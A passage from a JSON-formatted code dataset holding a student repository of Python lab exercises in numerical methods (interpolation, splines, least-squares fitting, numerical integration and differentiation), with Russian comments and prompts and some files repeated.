plt.show()\n\n"},{"alpha_fraction":0.45167285203933716,"alphanum_fraction":0.4843866229057312,"avg_line_length":26.4489803314209,"blob_id":"35944f35c018c073415d0896ab7426d71edde072","content_id":"13326e7eed174d36ecbb3d09463f2963d99f3d1b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2690,"license_type":"no_license","max_line_length":195,"num_lines":98,"path":"/SixthLab/6lab.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"def leftSide(y, h):\n res = []\n length = len(y)\n res.append('None')\n for i in range(1, length):\n res.append((y[i] - y[i - 1]) / h)\n return res\n\ndef rightSide(y, h):\n res = []\n length = len(y)\n for i in range(length - 1):\n res.append((y[i + 1] - y[i]) / h)\n res.append('None')\n return res\n\ndef centerSide(y, h):\n res = []\n length = len(y)\n step = 2 * h\n res.append('None')\n for i in range(1, length - 1, 1):\n res.append((y[i + 1] - y[i - 1]) / step)\n res.append('None')\n return res\n \ndef rungeLeft(y, h):\n res = []\n length = len(y)\n for i in range(2):\n res.append('None')\n for i in range(2, length):\n res.append(2 * ((y[i] - y[i - 1]) / h) - ((y[i] - y[i - 2]) / (2 * h)))\n return res\n\ndef rungeRight(y, h):\n res = []\n length = len(y)\n for i in range(length - 2):\n res.append(2 * ((y[i + 1] - y[i]) / h) - ((y[i + 2] - y[i]) / (2 * h)))\n for i in range(2):\n res.append('None')\n return res\n\ndef aligmentVariablesRight(x, y, h):\n res = []\n length = len(y)\n for i in range(0, length - 2):\n res.append((1 / y[i + 1] - 1 / y[i]) / (1 / x[i + 1] - 1 / x[i]) * y[i]**2 / x[i]**2)\n for i in range(2):\n res.append('None')\n return res\n\ndef aligmentVariablesLeft(x, y, h):\n res = []\n length = len(y)\n for i in range(2):\n res.append('None')\n for i in range(0, length - 2):\n res.append((1 / y[i] - 1 / y[i - 1]) / (1 / x[i] - 1 / x[i - 1]) * y[i]**2 / x[i]**2)\n return res\n\ndef secondDifference(x, y, h):\n res = []\n length = len(y)\n res.append('None')\n for i in range(1, length - 1):\n res.append((y[i - 1] - 2 * y[i] + y[i + 1]) / h ** 2)\n res.append('None')\n return res\n\ndef main():\n h = 1\n x = [i for i in range(1, 7, 1)]\n y = [0.571, 0.889, 1.091, 1.231, 1.333, 1.412]\n \n for line in [leftSide(y, h), rightSide(y, h), centerSide(y, h), rungeLeft(y ,h), rungeRight(y ,h), aligmentVariablesLeft(x, y, h), aligmentVariablesRight(x, y, h), secondDifference(x, y, h)]:\n for j in range(len(line)):\n element = line[j]\n if element != 'None':\n print('{:5.3}'.format(element), end=' ')\n continue\n print(element, end=' ')\n print()\n \n #print(leftSide(y, h))\n #print(rightSide(y, h))\n #print('*' * 20)\n #print(centerSide(y, h))\n #print('*' * 20)\n #print(rungeLeft(y ,h))\n #print(rungeRight(y, h))\n #print('*' * 20)\n #print(aligmentVariablesLeft(x, y, h))\n #print(aligmentVariablesRight(x, y, h))\n #print('*' * 20)\n #print(secondDifference(x, y, h))\nmain()\n"},{"alpha_fraction":0.5606177449226379,"alphanum_fraction":0.5837838053703308,"avg_line_length":29.11627960205078,"blob_id":"a4bb9c731d86527fbca93cf9a82088e8316bb445","content_id":"ba58ce392d48e31fabc215112dd007ce8d0a64cc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2658,"license_type":"no_license","max_line_length":91,"num_lines":86,"path":"/SecondLab/SecondLab.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"import math\n\ndef ModifyTable(table, n):\n for i in range(n):\n tmp = []\n for j in range(n-i):\n tmp.append((table[i+1][j] - table[i+1][j+1]) / (table[0][j] - table[0][i+j+1]))\n table.append(tmp)\n return table\n\ndef CreateItervalForNeed(table, n, x):\n MaxLength = len((table))\n InderxNear = abs((table)[0] - x)\n for i in range(MaxLength):\n if abs((table)[i] - x) < InderxNear:\n InderxNear = abs((table)[i] - x)\n\n SpaceInFirstTable = math.ceil(n / 2) \n \n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \n IndexForEnd = MaxLength\n IndexForStart = MaxLength - n\n elif (InderxNear < SpaceInFirstTable):\n IndexForStart = 0\n IndexForEnd = n\n else:\n IndexForStart = InderxNear - SpaceInFirstTable + 1\n IndexForEnd = IndexForStart + n \n\n return table[IndexForStart:IndexForEnd]\n\ndef CreateIterval(table, n, x):\n MaxLength = len((table)[0])\n InderxNear = abs((table)[0][0] - x)\n for i in range(MaxLength):\n if abs((table)[0][i] - x) < InderxNear:\n InderxNear = abs((table)[0][i] - x)\n\n SpaceInFirstTable = math.ceil(n / 2) \n \n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \n IndexForEnd = MaxLength\n IndexForStart = MaxLength - n\n elif (InderxNear < SpaceInFirstTable):\n IndexForStart = 0\n IndexForEnd = n\n else:\n IndexForStart = InderxNear - SpaceInFirstTable + 1\n IndexForEnd = IndexForStart + n \n\n return [table[0][IndexForStart:IndexForEnd], table[1][IndexForStart:IndexForEnd]]\n\ndef interpolate(PolynomialDegree, FindNum, table):\n table = CreateIterval(table, PolynomialDegree + 1, FindNum)\n #print(table)\n CreatedMatrix = ModifyTable(table, PolynomialDegree)\n #print(CreatedMatrix)\n tmp = 1\n res = 0\n for i in range(PolynomialDegree+1):\n res += tmp * CreatedMatrix[i+1][0]\n tmp *= (FindNum - CreatedMatrix[0][i])\n\n return res\n\nif __name__ == \"__main__\":\n #try:\n x = float(input('Введите x >'))\n y = float(input('Введите y >'))\n nx = int(input('введите степень полинома по x >'))\n ny = int(input('введите степень полинома по y >'))\n #except:\n # print('Ошибка')\n ArrX = [0,1,2,3]\n ArrY = [0,1,2,3]\n MatrZnach = [\n [0,1,4,9], \n [1,2,5,10],\n [4,5,8,13],\n [9,10,13,18]]\n newZnach = []\n for i in range(len(ArrX)):\n newZnach.append(interpolate(ny, y, [ArrY, MatrZnach[i]]))\n print(newZnach)\n print(interpolate(nx, x, [ArrX, newZnach]))\n print(x ** 2 + y ** 2)\n"},{"alpha_fraction":0.5530243515968323,"alphanum_fraction":0.5758051872253418,"avg_line_length":25,"blob_id":"d318b54f651e4aadae27f143f00a4c8bb7999e81","content_id":"90e7e69111dbdf631df0d003580f7b352a540a25","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1314,"license_type":"no_license","max_line_length":94,"num_lines":49,"path":"/FifthLab/5lab.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"from numpy.polynomial.legendre import leggauss\nfrom math import *\n\n\n\ndef replacement(x, y):\n return 2 * cos(x) / (1 - pow(sin(x), 2) * pow(cos(y), 2))\n\ndef function(parameter):\n return lambda x, y: (4 / pi) * (1 - exp(-parameter * replacement(x, y))) * cos(x) * sin(x)\n\ndef variableForConvertion(t):\n return (pi / 2) / 2 + (pi / 2) * t / 2\n\ndef gauss(func, nodes):\n args, coeffs = leggauss(nodes)\n res = 0\n for i in range(nodes):\n res += (pi / 2) / 2 * coeffs[i] * func(variableForConvertion(args[i]))\n return res\n\ndef simpson(func, nodes):\n h = (pi / 2) / (nodes - 1)\n x = 0\n res = 0\n for i in range((nodes - 1) // 2):\n res += func(x) + 4 * func(x + h) + func(x + 2 * h)\n x += 2 * h\n return res * (h / 3)\n\ndef convert(secondFunction, value):\n return lambda y: secondFunction(value, y)\n\ndef convertSimpson(func, M):\n return lambda x: simpson(convert(func, x), M)\n\ndef result(func, N, M, parameter):\n return gauss(convertSimpson(func, M), N)\n\ndef main():\n N = int(input(\"\\033[36m» Введите N: \"))\n M = int(input(\"» Введите M: \"))\n parameter = float(input(\"» Введите параметр: \"))\n\n print(\"Результат: \", round(result(function(parameter),N, M, parameter), 5))\n\n\nif __name__ == \"__main__\":\n main()"},{"alpha_fraction":0.539710283279419,"alphanum_fraction":0.5604395866394043,"avg_line_length":28.448530197143555,"blob_id":"f8d92f34f64e09f0b302007d9499994e3948bcb9","content_id":"62d99301814614f6bea6f29ae659aeddc0626cbe","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4692,"license_type":"no_license","max_line_length":98,"num_lines":136,"path":"/FourthLab/main.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"'''\nПринципиальным отличием задачи среднеквадратичного приближения от задачи интерполяции является то,\nчто число узлов превышает число параметров. В данном случае практически всегда не найдется такого\nвектора параметров, для которого значения аппроксимирующей функции совпадали бы со значениями\nаппроксимируемой функции во всех узлах.\nВ этом случае задача аппроксимации ставится как задача поиска такого вектора параметров\ncoefs = (c0, ..., cn)T, при котором значения аппроксимирующей функции как можно меньше отклонялись\nбы от значений аппроксимируемой функции F(x, coefs) в совокупности всех узлов.\n'''\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef f(points, coefs):\n res = [0.] * points\n for i in range(len(coefs)):\n res += coefs[i] * (points ** i)\n return res\n\n# Считать данные с файла\ndef read_file(filename):\n f = open(filename, \"r+\")\n x, y, weight = [], [], []\n for s in f:\n s = s.split(\" \")\n x.append(float(s[0]))\n y.append(float(s[1]))\n weight.append(float(s[2]))\n f.close()\n return x, y, weight\n\ndef print_table(x, y, weight):\n print(\"x y weight\")\n for i in range(len(x)):\n print(\"%.4f %.4f %.4f\" % (x[i], y[i], weight[i]))\n print()\n\ndef print_mtr(matrix):\n for i in matrix:\n print(i)\n\n# методом Гаусса\ndef solveSLAE(matrix):\n length = len(matrix)\n # приводим к треугольному виду\n for k in range(length):\n for i in range(k + 1, length):\n t = - (matrix[i][k] / matrix[k][k])\n for j in range(k, length + 1):\n matrix[i][j] += t * matrix[k][j]\n\n coefs = []\n for i in range(length):\n coefs.append(0) \n\n # Снизу вверх вычисляем каждый коэффициент\n # Получилась матрица вида:\n # a0 a1 a2 a3 a4 ...\n # Сама матрица:\n # x0 x1 x2 x3 ... y0 \n # 0 x1 x2 x3 ... y1 \n # 0 0 x2 x3 ... y2 \n # ...\n for i in range(length - 1, -1, -1):\n for j in range(length - 1, i, -1):\n matrix[i][length] -= coefs[j] * matrix[i][j]\n coefs[i] = matrix[i][length] / matrix[i][i]\n return coefs\n\ndef createMatr(x, y, weight, n, N):\n # Заполняем матрицу нулями\n matrix = []\n for i in range(n + 1):\n matrix.append([])\n for j in range(n + 2):\n matrix[i].append(0)\n\n # Составляем систему уравнение sum((x^k, x^m) * am) = (y, x^k)\n\n # Считаем (x^k, x^m) = sum(pi * xi^(k + m))\n for k in range(n + 1):\n for m in range(n + 1):\n curValue = 0\n for i in range(len(x)):\n curValue += pow(x[i], (k + m)) * weight[i]\n matrix[k][m] = curValue\n \n # Считаем (y, x^k) = sum(pi * yi * xi^k)\n for k in range(n + 1):\n curValue = 0\n for i in range(len(x)):\n curValue += y[i] * pow(x[i], k) * weight[i]\n matrix[k][n + 1] = curValue\n\n coefs = solveSLAE(matrix)\n \n return coefs\n\n'''\n#print(\"MATRIX\\n\")\n#print_mtr(matrix)\n\n#print(\"\\nCOEFFICIENTS\\n\\n\", coefs)\nprint(\"\\nAPPROXIMATION FUNCTION\\n\\nF = \", round(coefs[0], 2), sep=\"\", end=\"\")\nfor i in range(1, len(coefs)):\n print(\" + (\", round(coefs[i], 2), \") * x ** \", i, sep=\"\", end=\"\")\n''' \n\ndef make_plot(coefs, x, y, weight, dots):\n plt.figure(1)\n plt.plot(dots, f(dots, coefs))\n\n n = 1\n x2, y2, weight2 = read_file(\"dots2.txt\")\n N = len(x2)\n coefs2 = createMatr(x2, y2, weight2, n, N)\n dots2 = np.arange(x2[0] - 2, x2[len(x2) - 1] + 2, 0.01)\n plt.plot(dots2, f(dots2, coefs2), color=\"gray\")\n\n plt.ylabel(\"Y\")\n plt.xlabel(\"X\")\n for i in range(len(x)):\n plt.plot(x[i], y[i], 'ro', markersize=weight[i] + 2)\n plt.show()\n\ndef main():\n x, y, weight = read_file(\"dots.txt\")\n N = len(x) - 1 # количество узлов\n n = int(input(\"Enter the degree of the polynomial: \"))\n print(\"n = \", n, \" N = \", N)\n print_table(x, y, weight)\n coefs = createMatr(x, y, weight, n, N)\n dots = np.arange(x[0] - 2, x[len(x) - 1] + 2, 0.01)\n make_plot(coefs, x, y, weight, dots)\n\nmain()"}],"string":"[\n {\n \"alpha_fraction\": 0.4944238066673279,\n \"alphanum_fraction\": 0.5183218121528625,\n \"avg_line_length\": 32.64285659790039,\n \"blob_id\": \"9589ee20add78273cf54452460cfd876b370e768\",\n \"content_id\": \"0c156337e092faccced3de02bf3c2f0c6461a8ae\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2001,\n \"license_type\": \"no_license\",\n \"max_line_length\": 124,\n \"num_lines\": 56,\n \"path\": \"/ThirdLab/3labMain.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def f(x):\\n return x ** 3\\n\\ndef get_table(xStart, step, amount):\\n xMas = [xStart + step*i for i in range(amount)]\\n yMas = [f(x) for x in xMas]\\n return xMas, yMas\\n\\ndef interval(xMas, yMas, x):\\n for i in range(1, len(xMas)):\\n if xMas[i - 1] <= x < xMas[i]:\\n return i\\n return len(xMas)\\n\\ndef spline(xMas, yMas, step, xNeed): \\n eta = [0, 0, 0]\\n ksi = [0, 0, 0]\\n\\n # нахождение eta и ksi\\n for i in range(2, len(xMas)):\\n a = step\\n b = -4 * step\\n d = step\\n f = -3 * ((yMas[i] - yMas[i - 1]) / step - (yMas[i - 1] - yMas[i - 2]) / step)\\n eta.append(d / (b - a * eta[i]))\\n ksi.append((a * ksi[i] + f) / (b - a * eta[i]))\\n\\n ci = [0] * (len(xMas) + 1)\\n # определяем коэффы ci\\n for i in range(len(xMas) - 1, 1, -1):\\n ci[i] = eta[i + 1] * ci[i + 1] + ksi[i + 1]\\n\\n # определяем коэффы ai bi ci, получаем систему уравнений\\n ai = [0 if i < 1 else yMas[i - 1] for i in range(len(xMas))]\\n bi = [0 if i < 1 else ((yMas[i] - yMas[i - 1]) / step) - (step / 3 * (ci[i + 1] + 2 * ci[i])) for i in range(len(xMas))]\\n di = [0 if i < 1 else (ci[i + 1] - ci[i]) / (3 * step) for i in range(len(xMas))]\\n\\n hi = xNeed - xMas[pos - 1]\\n res = ai[pos] + bi[pos] * hi + ci[pos] * hi ** 2 + di[pos] * hi ** 3\\n return res\\n\\nif __name__ == \\\"__main__\\\":\\n xStart = float(input(\\\"Input beginning value of x: \\\"))\\n xStep = float(input(\\\"Input step for x value: \\\"))\\n xCount = int(input(\\\"Input amount of dots: \\\"))\\n\\n xMas, yMas = get_table(xStart, xStep, xCount)\\n\\n print(xMas, yMas)\\n xNeed = float(input('Введите x > '))\\n\\n pos = interval(xMas, yMas, xNeed)\\n res = spline(xMas, yMas, xStep, xNeed)\\n print(\\\"Вычисленное значение f(x): {:.4f}\\\".format(res))\\n print(\\\"Точное значение f(x): {:.4f}\\\".format(f(xNeed)))\\n print(\\\"Погрешность: {:.2f}%\\\".format(10 * (1 - res / f(xNeed))))\"\n },\n {\n \"alpha_fraction\": 0.536203145980835,\n \"alphanum_fraction\": 0.5547550320625305,\n \"avg_line_length\": 32.04166793823242,\n \"blob_id\": \"4ea89e3ea9d4244a2027c1337e59767bf7be133a\",\n \"content_id\": \"752fa8f9dec401585ad617519c74e482040a2b62\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5960,\n \"license_type\": \"no_license\",\n \"max_line_length\": 116,\n \"num_lines\": 168,\n \"path\": \"/FirstLab/FirstLab.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nfrom math import radians\\nimport matplotlib.pyplot as plt\\nimport numpy as np\\n\\nclass HalfDivisionMethod:\\n def __init__(self, a, b):\\n self.eps = 1e-5\\n self.a = a\\n self.b = b\\n \\n def MPD(self):\\n a = self.a\\n b = self.b\\n while abs(b - a) > self.eps:\\n x = (a + b) / 2.0\\n fx = func(x)\\n fa = func(a)\\n if (fx < 0 and fa < 0) or (fx > 0 and fa > 0):\\n a = x\\n else:\\n b = x\\n return x\\n\\nclass ConventionalInterpolation:\\n def __init__(self, n, x, ArrForX, ArrForY):\\n self.PolynomialDegree = n\\n self.FindNum = x\\n self.table = [ArrForX, ArrForY]\\n\\n def ModifyTable(self, table, n):\\n for i in range(n):\\n tmp = []\\n for j in range(n-i):\\n tmp.append((table[i+1][j] - table[i+1][j+1]) / (table[0][j] - table[0][i+j+1]))\\n #print(table[0][j], table[0][i+j+1])\\n table.append(tmp)\\n return table\\n\\n def CreateIterval(self, n, x):\\n MaxLength = len((self.table)[0])\\n InderxNear = abs((self.table)[0][0] - x)\\n for i in range(MaxLength):\\n if abs((self.table)[0][i] - x) < InderxNear:\\n InderxNear = abs((self.table)[0][i] - x)\\n\\n #InderxNear = min(range(MaxLength), key = lambda i: abs((self.table)[0][i] - x))\\n SpaceInFirstTable = math.ceil(n / 2) \\n \\n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \\n IndexForEnd = MaxLength\\n IndexForStart = MaxLength - n\\n elif (InderxNear < SpaceInFirstTable):\\n IndexForStart = 0\\n IndexForEnd = n\\n else:\\n IndexForStart = InderxNear - SpaceInFirstTable + 1\\n IndexForEnd = IndexForStart + n \\n\\n return [self.table[0][IndexForStart:IndexForEnd], self.table[1][IndexForStart:IndexForEnd]]\\n\\n def printTable(self):\\n print(self.table)\\n\\n def interpolate(self):\\n self.table = self.CreateIterval(self.PolynomialDegree + 1, self.FindNum)\\n #print(self.table)\\n CreatedMatrix = self.ModifyTable(self.table, self.PolynomialDegree)\\n #print(CreatedMatrix)\\n tmp = 1\\n res = 0\\n for i in range(self.PolynomialDegree+1):\\n res += tmp * CreatedMatrix[i+1][0]\\n tmp *= (self.FindNum - CreatedMatrix[0][i])\\n\\n return res\\n\\ndef InputData(CheckException):\\n try:\\n PolynomialDegree = int(input(\\\"Введите степень полинома (целое, больше 0) > \\\"))\\n #if PolynomialDegree <= 0:\\n # print(\\\"Степень должна быть больше 0\\\")\\n # CheckException = 0\\n # return 0, 0, 0\\n if PolynomialDegree > 11:\\n print(\\\"Степень должна быть меньше либо равна кол-ву элементов таблицы\\\")\\n CheckException = 0\\n return 0, 0, 0\\n except:\\n print(\\\"Неправильный ввод степени полинома\\\\n\\\")\\n CheckException = 0\\n if CheckException:\\n try:\\n FindNum = float(input(\\\"Введите x (или y для обратной), относительно которого искать (вещественное) > \\\"))\\n return PolynomialDegree, FindNum, CheckException\\n except:\\n print(\\\"Неправильный ввод x\\\\n\\\")\\n CheckException = 0\\n return 0, 0, 0\\n\\ndef InputDataForMethod(CheckException):\\n try:\\n a = float(input(\\\"Введите начало промежутка > \\\"))\\n except:\\n CheckException = 0\\n print(\\\"Число должно быть целым!\\\")\\n return 0, 0, 0\\n if CheckException:\\n try:\\n b = float(input(\\\"Введите конец промежутка > \\\"))\\n if b < a:\\n CheckException = 0\\n print(\\\"Число должно быть меньше начала промежутка!\\\")\\n return 0, 0, 0\\n elif b == a:\\n CheckException = 0\\n print(\\\"Число должно быть строго больше начала промежутка!\\\")\\n return 0, 0, 0\\n except:\\n CheckException = 0\\n print(\\\"Число должно быть целым!\\\")\\n return 0, 0, 0\\n return a, b, CheckException\\n\\ndef func(x):\\n return x ** 3 + 1\\n\\nCheckException = 1\\n\\nPolynomialDegree, FindNum, CheckException = InputData(CheckException)\\nif CheckException:\\n ArrayForX = []\\n StartX = -3\\n for i in range(11):\\n ArrayForX.append(StartX)\\n StartX += 1\\n ArrayForY = []\\n for i in range(11):\\n ArrayForY.append(func(ArrayForX[i]))\\n for i in range (11):\\n print(ArrayForX[i], ArrayForY[i])\\n #ArrayForX = []\\n #ArrayForY = []\\n #ArrayForX = [1, 3, 4, 5]\\n #ArrayForY = [2, -0.5, -10, 1]\\n\\n ObjectForResult = ConventionalInterpolation(PolynomialDegree, FindNum, ArrayForX, ArrayForY)\\n Result = ObjectForResult.interpolate()\\n print(\\\"\\\\nInterpolated: %.3f\\\" % Result)\\n if CheckException:\\n ObjectForResultReverse = ConventionalInterpolation(PolynomialDegree, 0, ArrayForY, ArrayForX)\\n Result = ObjectForResultReverse.interpolate()\\n print(\\\"Interpolated reverse: %.3f\\\" % Result)\\n a, b, CheckException = InputDataForMethod(CheckException)\\n if CheckException:\\n ObjectForResultWithMethor = HalfDivisionMethod(a, b)\\n Result = ObjectForResultWithMethor.MPD()\\n print(\\\"Method: %.3f\\\" % Result)\\n\\n x = np.linspace(-1.0, 3.0, num=20)\\n y = [func(i) for i in x]\\n\\n plt.title(\\\"Линейная зависимость y = x ** 3 + 1\\\") # заголовок\\n plt.xlabel(\\\"x\\\")\\n plt.ylabel(\\\"y\\\") \\n plt.grid() \\n plt.plot(x, y) \\n plt.show()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.45167285203933716,\n \"alphanum_fraction\": 0.4843866229057312,\n \"avg_line_length\": 26.4489803314209,\n \"blob_id\": \"35944f35c018c073415d0896ab7426d71edde072\",\n \"content_id\": \"13326e7eed174d36ecbb3d09463f2963d99f3d1b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2690,\n \"license_type\": \"no_license\",\n \"max_line_length\": 195,\n \"num_lines\": 98,\n \"path\": \"/SixthLab/6lab.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def leftSide(y, h):\\n res = []\\n length = len(y)\\n res.append('None')\\n for i in range(1, length):\\n res.append((y[i] - y[i - 1]) / h)\\n return res\\n\\ndef rightSide(y, h):\\n res = []\\n length = len(y)\\n for i in range(length - 1):\\n res.append((y[i + 1] - y[i]) / h)\\n res.append('None')\\n return res\\n\\ndef centerSide(y, h):\\n res = []\\n length = len(y)\\n step = 2 * h\\n res.append('None')\\n for i in range(1, length - 1, 1):\\n res.append((y[i + 1] - y[i - 1]) / step)\\n res.append('None')\\n return res\\n \\ndef rungeLeft(y, h):\\n res = []\\n length = len(y)\\n for i in range(2):\\n res.append('None')\\n for i in range(2, length):\\n res.append(2 * ((y[i] - y[i - 1]) / h) - ((y[i] - y[i - 2]) / (2 * h)))\\n return res\\n\\ndef rungeRight(y, h):\\n res = []\\n length = len(y)\\n for i in range(length - 2):\\n res.append(2 * ((y[i + 1] - y[i]) / h) - ((y[i + 2] - y[i]) / (2 * h)))\\n for i in range(2):\\n res.append('None')\\n return res\\n\\ndef aligmentVariablesRight(x, y, h):\\n res = []\\n length = len(y)\\n for i in range(0, length - 2):\\n res.append((1 / y[i + 1] - 1 / y[i]) / (1 / x[i + 1] - 1 / x[i]) * y[i]**2 / x[i]**2)\\n for i in range(2):\\n res.append('None')\\n return res\\n\\ndef aligmentVariablesLeft(x, y, h):\\n res = []\\n length = len(y)\\n for i in range(2):\\n res.append('None')\\n for i in range(0, length - 2):\\n res.append((1 / y[i] - 1 / y[i - 1]) / (1 / x[i] - 1 / x[i - 1]) * y[i]**2 / x[i]**2)\\n return res\\n\\ndef secondDifference(x, y, h):\\n res = []\\n length = len(y)\\n res.append('None')\\n for i in range(1, length - 1):\\n res.append((y[i - 1] - 2 * y[i] + y[i + 1]) / h ** 2)\\n res.append('None')\\n return res\\n\\ndef main():\\n h = 1\\n x = [i for i in range(1, 7, 1)]\\n y = [0.571, 0.889, 1.091, 1.231, 1.333, 1.412]\\n \\n for line in [leftSide(y, h), rightSide(y, h), centerSide(y, h), rungeLeft(y ,h), rungeRight(y ,h), aligmentVariablesLeft(x, y, h), aligmentVariablesRight(x, y, h), secondDifference(x, y, h)]:\\n for j in range(len(line)):\\n element = line[j]\\n if element != 'None':\\n print('{:5.3}'.format(element), end=' ')\\n continue\\n print(element, end=' ')\\n print()\\n \\n #print(leftSide(y, h))\\n #print(rightSide(y, h))\\n #print('*' * 20)\\n #print(centerSide(y, h))\\n #print('*' * 20)\\n #print(rungeLeft(y ,h))\\n #print(rungeRight(y, h))\\n #print('*' * 20)\\n #print(aligmentVariablesLeft(x, y, h))\\n #print(aligmentVariablesRight(x, y, h))\\n #print('*' * 20)\\n #print(secondDifference(x, y, h))\\nmain()\\n\"\n },\n {\n \"alpha_fraction\": 0.5606177449226379,\n \"alphanum_fraction\": 0.5837838053703308,\n \"avg_line_length\": 29.11627960205078,\n \"blob_id\": \"a4bb9c731d86527fbca93cf9a82088e8316bb445\",\n \"content_id\": \"ba58ce392d48e31fabc215112dd007ce8d0a64cc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2658,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 86,\n \"path\": \"/SecondLab/SecondLab.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\n\\ndef ModifyTable(table, n):\\n for i in range(n):\\n tmp = []\\n for j in range(n-i):\\n tmp.append((table[i+1][j] - table[i+1][j+1]) / (table[0][j] - table[0][i+j+1]))\\n table.append(tmp)\\n return table\\n\\ndef CreateItervalForNeed(table, n, x):\\n MaxLength = len((table))\\n InderxNear = abs((table)[0] - x)\\n for i in range(MaxLength):\\n if abs((table)[i] - x) < InderxNear:\\n InderxNear = abs((table)[i] - x)\\n\\n SpaceInFirstTable = math.ceil(n / 2) \\n \\n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \\n IndexForEnd = MaxLength\\n IndexForStart = MaxLength - n\\n elif (InderxNear < SpaceInFirstTable):\\n IndexForStart = 0\\n IndexForEnd = n\\n else:\\n IndexForStart = InderxNear - SpaceInFirstTable + 1\\n IndexForEnd = IndexForStart + n \\n\\n return table[IndexForStart:IndexForEnd]\\n\\ndef CreateIterval(table, n, x):\\n MaxLength = len((table)[0])\\n InderxNear = abs((table)[0][0] - x)\\n for i in range(MaxLength):\\n if abs((table)[0][i] - x) < InderxNear:\\n InderxNear = abs((table)[0][i] - x)\\n\\n SpaceInFirstTable = math.ceil(n / 2) \\n \\n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \\n IndexForEnd = MaxLength\\n IndexForStart = MaxLength - n\\n elif (InderxNear < SpaceInFirstTable):\\n IndexForStart = 0\\n IndexForEnd = n\\n else:\\n IndexForStart = InderxNear - SpaceInFirstTable + 1\\n IndexForEnd = IndexForStart + n \\n\\n return [table[0][IndexForStart:IndexForEnd], table[1][IndexForStart:IndexForEnd]]\\n\\ndef interpolate(PolynomialDegree, FindNum, table):\\n table = CreateIterval(table, PolynomialDegree + 1, FindNum)\\n #print(table)\\n CreatedMatrix = ModifyTable(table, PolynomialDegree)\\n #print(CreatedMatrix)\\n tmp = 1\\n res = 0\\n for i in range(PolynomialDegree+1):\\n res += tmp * CreatedMatrix[i+1][0]\\n tmp *= (FindNum - CreatedMatrix[0][i])\\n\\n return res\\n\\nif __name__ == \\\"__main__\\\":\\n #try:\\n x = float(input('Введите x >'))\\n y = float(input('Введите y >'))\\n nx = int(input('введите степень полинома по x >'))\\n ny = int(input('введите степень полинома по y >'))\\n #except:\\n # print('Ошибка')\\n ArrX = [0,1,2,3]\\n ArrY = [0,1,2,3]\\n MatrZnach = [\\n [0,1,4,9], \\n [1,2,5,10],\\n [4,5,8,13],\\n [9,10,13,18]]\\n newZnach = []\\n for i in range(len(ArrX)):\\n newZnach.append(interpolate(ny, y, [ArrY, MatrZnach[i]]))\\n print(newZnach)\\n print(interpolate(nx, x, [ArrX, newZnach]))\\n print(x ** 2 + y ** 2)\\n\"\n },\n {\n \"alpha_fraction\": 0.5530243515968323,\n \"alphanum_fraction\": 0.5758051872253418,\n \"avg_line_length\": 25,\n \"blob_id\": \"d318b54f651e4aadae27f143f00a4c8bb7999e81\",\n \"content_id\": \"90e7e69111dbdf631df0d003580f7b352a540a25\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1314,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 49,\n \"path\": \"/FifthLab/5lab.py\",\n \"repo_name\": \"MrSkl1f/CA\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from numpy.polynomial.legendre import leggauss\\nfrom math import *\\n\\n\\n\\ndef replacement(x, y):\\n return 2 * cos(x) / (1 - pow(sin(x), 2) * pow(cos(y), 2))\\n\\ndef function(parameter):\\n return lambda x, y: (4 / pi) * (1 - exp(-parameter * replacement(x, y))) * cos(x) * sin(x)\\n\\ndef variableForConvertion(t):\\n return (pi / 2) / 2 + (pi / 2) * t / 2\\n\\ndef gauss(func, nodes):\\n args, coeffs = leggauss(nodes)\\n res = 0\\n for i in range(nodes):\\n res += (pi / 2) / 2 * coeffs[i] * func(variableForConvertion(args[i]))\\n return res\\n\\ndef simpson(func, nodes):\\n h = (pi / 2) / (nodes - 1)\\n x = 0\\n res = 0\\n for i in range((nodes - 1) // 2):\\n res += func(x) + 4 * func(x + h) + func(x + 2 * h)\\n x += 2 * h\\n return res * (h / 3)\\n\\ndef convert(secondFunction, value):\\n return lambda y: secondFunction(value, y)\\n\\ndef convertSimpson(func, M):\\n return lambda x: simpson(convert(func, x), M)\\n\\ndef result(func, N, M, parameter):\\n return gauss(convertSimpson(func, M), N)\\n\\ndef main():\\n N = int(input(\\\"\\\\033[36m» Введите N: \\\"))\\n M = int(input(\\\"» Введите M: \\\"))\\n parameter = float(input(\\\"» Введите параметр: \\\"))\\n\\n print(\\\"Результат: \\\", round(result(function(parameter),N, M, parameter), 5))\\n\\n\\nif __name__ == \\\"__main__\\\":\\n main()\"\n },\n {\n 